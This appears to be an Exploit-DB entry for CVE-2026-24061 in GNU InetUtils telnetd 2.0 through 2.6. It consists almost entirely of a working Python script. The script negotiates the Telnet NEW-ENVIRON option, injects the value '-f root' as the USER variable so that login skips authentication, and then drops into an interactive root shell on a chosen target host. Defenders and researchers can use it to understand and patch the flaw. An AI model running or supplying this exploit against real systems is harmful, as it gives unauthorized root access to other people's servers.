GNU InetUtils 2.6 - Telnetd Remote Privilege Escalation

EDB-ID:

52524


Author:

aliguliyev

Type:

local


Platform:

Linux

Date:

2026-04-29


# Exploit Title: GNU InetUtils telnetd - Remote Privilege Escalation 
# Date: 2026-01-24
# Exploit Author: Ali Guliyev (infat0x)
# Author GitHub: https://github.com/infat0x
# Vendor Homepage: https://www.gnu.org/software/inetutils/
# Software Link: https://ftp.gnu.org/gnu/inetutils/
# Version: GNU InetUtils 2.0 through 2.6
# Tested on: Linux (various distributions using vulnerable inetutils-telnetd)
# CVE : CVE-2026-24061

import socket
import sys
import threading
import argparse
import re

"""
Description:
The telnetd implementation in GNU InetUtils before 2.7-2 is vulnerable to 
authentication bypass via environment variable injection. By passing a 
crafted USER environment variable (e.g., "-f root") during the Telnet 
NEW-ENVIRON subnegotiation, an attacker can force the login process 
to grant a root shell without requiring a password.

Technical Analysis:
The vulnerability exists because telnetd fails to sanitize the USER variable 
before passing it as an argument to /bin/login. By prepending the -f flag, 
the login utility skips the authentication phase.
"""

# Telnet Protocol Constants (RFC 854)
IAC  = 255  # Interpret As Command
DONT = 254
DO   = 253
WONT = 252
WILL = 251
SB   = 250  # Subnegotiation Begin
SE   = 240  # Subnegotiation End

# Telnet Option Codes (RFC 1572)
NEW_ENVIRON = 39 
IS    = 0
VAR   = 0
VALUE = 1

def handle_negotiation(sock, cmd, opt):
    """Responds to standard Telnet negotiation sequences."""
    if cmd == DO and opt == NEW_ENVIRON:
        # Agreement to use the environment variable passing option
        sock.sendall(bytes([IAC, WILL, NEW_ENVIRON]))
    elif cmd == DO:
        # Refuse other options for simplicity
        sock.sendall(bytes([IAC, WONT, opt]))
    elif cmd == WILL:
        # Acknowledge the server's willingness
        sock.sendall(bytes([IAC, DO, opt]))

def handle_subnegotiation(sock, sb_data, user_payload):
    """Executes the core exploit by injecting the malformed USER variable."""
    if len(sb_data) > 0 and sb_data[0] == NEW_ENVIRON:
        # Format: IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
        env_msg = (
            bytes([IAC, SB, NEW_ENVIRON, IS, VAR]) + 
            b'USER' + 
            bytes([VALUE]) + 
            user_payload.encode('ascii') + 
            bytes([IAC, SE])
        )
        sock.sendall(env_msg)

def process_telnet_stream(data, sock, user_payload):
    """Parses incoming data to separate control signals from actual text."""
    clean_output = b''
    i = 0
    while i < len(data):
        if data[i] == IAC and i + 1 < len(data):
            cmd = data[i + 1]
            if cmd in [DO, DONT, WILL, WONT] and i + 2 < len(data):
                handle_negotiation(sock, cmd, data[i + 2])
                i += 3
            elif cmd == SB:
                se_idx = i + 2
                while se_idx < len(data) - 1:
                    if data[se_idx] == IAC and data[se_idx + 1] == SE:
                        break
                    se_idx += 1
                if se_idx < len(data) - 1:
                    handle_subnegotiation(sock, data[i + 2:se_idx], user_payload)
                    i = se_idx + 2
                else:
                    i += 1
            else:
                i += 2
        else:
            clean_output += bytes([data[i]])
            i += 1

    # Filter ANSI escape sequences for a cleaner shell experience
    ansi_escape = re.compile(rb'\x1b\[[0-?]*[ -/]*[@-~]')
    return ansi_escape.sub(b'', clean_output)

def socket_reader_thread(sock, user_payload):
    """Background thread to handle server output."""
    try:
        while True:
            raw_data = sock.recv(4096)
            if not raw_data:
                break
            display_data = process_telnet_stream(raw_data, sock, user_payload)
            if display_data:
                sys.stdout.buffer.write(display_data)
                sys.stdout.buffer.flush()
    except (ConnectionResetError, BrokenPipeError):
        pass
    finally:
        print("\n[*] Connection closed.")

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-24061 Exploitation Tool")
    parser.add_argument('host', help="Target IP address")
    parser.add_argument('-p', '--port', type=int, default=23, help="Telnet port (default 23)")
    args = parser.parse_args()

    # The exploit payload to bypass login
    user_payload = "-f root"
    
    try:
        client_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client_sock.settimeout(5)
        client_sock.connect((args.host, args.port))
        client_sock.settimeout(None)
        print(f"[*] Connected to {args.host}:{args.port}")
        print(f"[*] Sending payload: {user_payload}")
    except Exception as e:
        print(f"[!] Connection failed: {e}")
        sys.exit(1)

    # Launch output listener
    threading.Thread(target=socket_reader_thread, args=(client_sock, user_payload), daemon=True).start()

    print("[*] Interactive session started. Type commands below.\n")
    try:
        while True:
            # Simple interactive shell loop
            char = sys.stdin.read(1)
            if not char:
                break
            client_sock.sendall(char.encode())
    except KeyboardInterrupt:
        print("\n[*] Exploit session terminated by user.")
    finally:
        client_sock.close()

if __name__ == "__main__":
    main()